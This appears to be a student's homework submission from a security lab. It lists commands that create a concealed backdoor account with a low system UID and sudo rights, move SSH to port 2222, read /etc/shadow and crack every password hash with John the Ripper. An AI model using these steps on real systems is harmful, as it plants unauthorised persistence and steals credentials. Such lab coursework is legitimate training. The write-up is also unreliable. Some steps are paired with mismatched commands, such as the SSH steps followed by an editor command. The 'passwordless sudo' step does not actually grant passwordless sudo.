

Submission for Unit 6 Advanced Bash Homework

Create a secret user named `sysd`. Make sure this user doesn't have a home folder created.

- `sudo useradd -M sysd`

Give your secret user a password.

- `sudo passwd sysd`

Give your secret user a system UID < 1000.

- `sudo usermod -u 500 sysd`

Give your secret user the same GID

- `sudo groupmod -g 500 sysd`

Give your secret user full sudo access without the need for a password.

- `sudo usermod -aG sudo sysd`

Test that sudo access works without your password

#Change user to sysd

- su - sysd

#Test sudo access

- sudo -l

Allow ssh access over port 2222.

Command to edit the `sshd_config` file:

- sudo nano /etc/ssh/sshd_config

#Blue part is what was edited/added

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Port 22

[Port 2222](#)

#AddressFamily any

#ListenAddress 0.0.0.0

#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key

#HostKey /etc/ssh/ssh_host_ecdsa_key

#HostKey /etc/ssh/ssh_host_ed25519_key

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# Ciphers and keying
#RekeyLimit default none
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# Logging
#SyslogFacility AUTH
#LogLevel INFO
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# Authentication:
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#LoginGraceTime 2m
#PermitRootLogin prohibit-password
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10
...`
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Command to restart the ssh service:

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- `sudo systemctl restart ssh`
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Exit the root account:

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- `su - sysadmin`
```

SSH to the target machine using your `sysd` account and port 2222:

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- `sudo nano /etc/ssh/sshd_config`
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Use sudo to switch to the root user

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- `sudo su -`
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## Crack _all_ the passwords
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Ssh back to the system using your sysd account

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- `sudo nano /etc/ssh/sshd_config`
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- Use John to crack the entire /etc/shadow file

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- `cat /etc/passwd`
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- `cat /etc/shadow`
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- `unshadow passwd.txt shadow.txt > passwords.txt`
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- `john passwords.txt`
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